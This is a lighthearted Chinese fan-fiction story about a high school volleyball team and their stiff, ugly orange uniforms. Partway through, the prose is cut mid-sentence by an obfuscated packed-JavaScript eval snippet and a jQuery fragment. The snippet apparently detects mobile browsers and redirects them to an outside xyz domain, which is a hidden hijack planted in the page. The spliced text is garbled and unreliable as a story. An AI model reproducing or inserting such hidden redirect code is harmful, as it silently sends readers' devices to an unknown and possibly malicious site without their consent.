春季开学第一天，雪之丘中学排球馆的铁门“吱呀”一声被拽开，日向像颗被点燃的橘子糖，抱着纸箱往里面冲，橘红色围巾扫过地面积雪，愣是画出一道“红烧里脊色”的印子。“家人们！背号和队服到了！新赛季冲啊！”
结果纸箱一打开，全员集体沉默——队服是橘色的没错，但那颜色深得像放了三斤老抽的橘子酱，领口洗得发白的条纹活像晒蔫的橘子皮，布料硬得能当菜板。田中捏着衣角扯了扯，“咔嚓”一声，纤维居然勾出个小毛球。“教练，这是挖了学校仓库的祖坟吧？我奶奶的劳保服都比这软和！”
“懂什么！”日向立刻把1号布贴往自己胸前按，布贴歪歪扭扭粘在“橘子酱”上，活像贴了块创可贴，“这叫复古风！上场一跑，对手还以为我们是移动的橘子园，分分钟晃瞎他们的眼！”他转头把5号布贴塞给赤苇，“赤苇，你穿这色显白，跟你手里的排球一样亮！”
赤苇捏着布贴，指尖都在发力：“谢谢……就是不知道传完球，手会不会被布料染成橘色。”话音刚落，就看见岩泉拎着运动包进来，眼神扫过队服，眉头皱得能夹死苍蝇。日向赶紧举着4号布贴凑过去：“岩泉！王牌就得穿4号！你看这色多配你，扣球的时候像颗会飞的橘子炮弹！”
岩泉接过布贴，往球衣上一贴，硬邦邦的布料把他的肩线勒得笔直，活像裹了层橘子味的硬纸板。“扣球别把自己硌着就行。”他话刚说完，银海抱着护膝挪进来，3号布贴歪歪扭扭粘在胸前，走路的时候布贴还跟着晃，像块要掉的补丁。“自由人穿这么亮，对手扣球都往我身上砸怎么办？”银海欲哭无泪，“我这不是自由人，是自由移动的靶子啊！”
“怕什么！”日向拍着他的肩，差点把他拍得一个趔趄，“你就当自己是橘子味的防护盾，对手看见你就想啃一口，哪还有心思扣球！”他又把6号布贴扔给清水，清水接住，对着镜子比划了两下，突然笑出声：“别说，这色跟我家狗的窝一个色，以后训练不用带垫子了，往地上一坐就行。”
最后进来的铃谷风，捏着7号布贴脸都绿了：“技术型拦网手要隐蔽！穿这么亮，对手老远就看见我，还怎么拦网？”田中立刻凑过来，把2号布贴往他眼前晃：“怕啥！有我呢！我跟你组成‘橘子双拦’，对手扣球过来，先被我们的颜色晃晕！”说着他还踮脚想跟铃谷风比身高，结果两人没站稳，“嘭”的一声撞在一起，橘色队服沾了灰，活像两个滚进泥里的橘子。
“你们俩是来拆队的还是来训练的？”元堂教练抱着战术板走进来，扫了眼满场“橘子精”，忍不住扶额，“经费就这么多，先凑活穿。打赢第一场比赛，我跟学校申请换……稍微不那么像橘子酱的队服。”
“真的？！”日向瞬间蹦起来，橘色围巾甩得差点抽到岩泉的脸，“那我们必须赢！把这‘老抽橘子’换成‘鲜榨橘子’！”
“先别想换队服，”元堂教练把战术板往桌上一放，“首发阵容定了：日向1号主攻兼队长，赤苇5号二传，岩泉4号王牌，田中2号主力拦网，银海3号自由人，清水6号接应，铃谷风7号技术拦网。这周先练配合，别穿着队服把自己绊倒。”
话音刚落，日向就拉着岩泉往球场冲：“快！试试新背号的威力！赤苇，传个快球！”赤苇拿起排球，刚要抛球，就看见田中跟铃谷风还在地上滚，两人互相扯着对方的队服，想把灰蹭到对方身上，活像两只打架的橘子。
“别闹了！”岩泉喊了一嗓子，结果自己刚起跳扣球，硬邦邦的队服卡了一下胳膊，球直接扣飞，砸在屋顶的灯上，“哐当”一声，灯晃了晃，掉下来一层灰，全落在日向头上。日向抹了把脸，灰混着橘色围巾的绒毛，活像个刚从烟囱里爬出来的橘子精。
“岩泉你故意的吧！”日向跳着喊，银海蹲在旁边笑到捶地，结果没注意身后的排球，一屁股坐上去，“嗷”的一声跳起来，护膝都歪了：“这球跟队服一样硬！我的屁股要开花了！”
清水抱着排球走过来，笑着说：“要不我们先练‘抗揍’吧？先适应队服的硬度，省得比赛的时候被自己的衣服硌疼。”
赤苇看着乱成一锅粥的队友，无奈地叹气，却还是拿起排球：“来，日向，我们先练传球，这次别再被灯砸了。”
日向立刻站好，橘色队服在阳光下晃得人眼晕：“放心！这次我肯定接住！为了新队服，为了全国！冲啊！”
排球馆里顿时充满了传球声、惨叫声、笑声，橘色的身影在球场上窜来窜去，活像一群失控的橘子。岩泉看着眼前的场景，手里的淡蓝色笔记本翻到新的一页，忍不住写下：“春季联赛备战第一天，对手还没见着，先被队服坑了。但……好像还挺有意思。”
他抬头看向日向——那个穿着1号“橘子酱”队服的少年，正蹦蹦跳跳地追着排球跑，哪怕摔在地上，也立刻爬起来，脸上满是笑。岩泉嘴角不自觉地弯了弯，拿起排球走向球场：“赤苇，传个球过来，让我试试‘橘子炮弹’的威力。”
阳光透过窗户照进来，落在橘色的队服上，硬邦邦的布料居然也泛出了点暖光。雪之丘排球部的春季联赛备战，就这么在一片“橘色混乱”里，热热闹闹地开始了。
第二天训练，日向踩着晨光冲进排球馆时，差点被地上的“橘色障碍物”绊倒——田中正举着熨斗对着队服猛烫，蒸汽裹着一股旧布料的味道，活像在熨烫奶奶的老花布衫。“你干嘛呢？”日向凑过去，看着田中把队服烫得皱巴巴的，“这是要把橘子酱熨成橘子干啊？”
“昨天穿这衣服练拦网，布料磨得我胳膊疼！”田中龇牙咧嘴地把熨斗举得更高，“我妈说烫一烫能软和点，结果越烫越硬，现在能当盾牌用了！”话音刚落，铃谷风抱着个针线包走进来，7号布贴歪得快掉了，他戳了戳田中手里的队服，“别烫了，我带了棉花，要不我们往衣服里塞点？好歹能当护具用。”
两人正琢磨着给队服“升级”，岩泉拎着运动包进来，刚把淡蓝色笔记本放在桌上，就看见日向穿着1号队服在球场上蹦跶，布料摩擦发出“沙沙”的声响，像在撒橘子皮。“你能不能别蹦了？”岩泉扶额，“队服都快被你蹦出火星子了。”
“我在找‘橘子爆发力’！”日向停下脚步，挺胸抬头，橘色队服把他裹得像个粽子，“穿这衣服就得有橘子的劲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379566|184081||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
儿，又甜又有冲劲！”他刚说完，赤苇抱着排球走进来，5号布贴终于粘稳了，就是领口被他翻了三层，活像围了个橘色小围巾。“别找爆发力了，先练传球吧，”赤苇笑着把球扔给日向，“昨天你被灯砸的包还没消呢。”
日向接过球，刚要传球，就听见银海的惨叫声从门口传来——他穿着3号队服，背着护具，结果布料卡进了护具扣里，半天扯不出来，活像被橘子皮缠住的小仓鼠。“快来救我！”银海蹦着喊，“这衣服是想把我当橘子瓣剥了吗？”
清水叼着面包跑进来，6号布贴沾了点面包屑，他一边嚼一边帮银海扯衣服：“你这算啥？我早上穿衣服，胳膊卡进袖子里，差点以为要截肢了！”好不容易把银海救出来，元堂教练抱着战术板走进来，扫了眼满场“状况百出的橘子”，清了清嗓子：“今天练配合，先分组练传球，注意别被队服绊着！”
分组的时候，日向非要跟岩泉、赤苇一组，美其名曰“橘子核心三人组”。赤苇刚传第一个球，日向就因为队服太硬，抬胳膊慢了半拍，球直接砸在他脸上，“嘭”的一声，疼得他眼泪都快出来了。“这球怎么跟队服一样硬啊！”日向揉着脸喊，岩泉忍不住笑：“是你反应慢，别赖球。”
另一边，田中跟铃谷风练拦网，两人刚跳起来，队服的衣角就缠在了一起，双双摔在地上，橘色布料沾了灰，活像两个被踩扁的橘子。“都怪你！”田中推着铃谷风，“你衣服太长，缠到我了！”铃谷风也不甘示弱：“明明是你跳得太矮，还怪我衣服！”
银海蹲在旁边看热闹，结果没注意身后的排球，一屁股坐上去，这次直接弹了起来，护膝都飞了：“这球跟队服是亲兄弟吧？都这么硬！”清水走过来，把护膝捡起来递给银海，笑着说：“要不我们以后训练带个枕头？摔的时候能软和点。”
练到中午休息，日向蹲在地上，摸着队服上的褶皱叹气：“要是这衣服能像橘子一样，剥了皮就是软的就好了。”赤苇坐在他旁边，拿出笔记本记着刚才的训练问题：“别想了，先凑活穿，等打赢比赛，我们就能换衣服了。”
岩泉走过来，把一瓶水递给日向，看着他橘色队服上的灰印子，忍不住吐槽：“你这衣服再穿几天，就能当迷彩服了。”日向接过水，拧开瓶盖喝了一口，突然眼睛一亮：“对了！我们可以在衣服上画点东西！比如画个排球，或者画个小太阳，这样就不丑了！”
“别瞎折腾了，”岩泉无奈地说，“再画就真成橘子精了。”话刚说完，田中就举着马克笔跑过来：“我觉得可行！我要在衣服上画个拦网的图案，让对手一看就害怕！”铃谷风也凑过来：“我要画个星星，代表我的拦网技术闪闪发光！”
赤苇看着吵吵闹闹的队友，笑着摇了摇头，在笔记本上写下：“‘橘子军团’备战第二天，队服没改好，先开始研究‘涂鸦艺术’了。不过……这样好像更有干劲了。”
阳光透过窗户照进来，落在橘色的队服上，虽然布料硬邦邦的，上面还沾着灰，但在一片笑声里，倒也显得格外温暖。雪之丘排球部的春季联赛备战，就这么在“橘子队服”的各种爆笑插曲里，一天比一天热闹。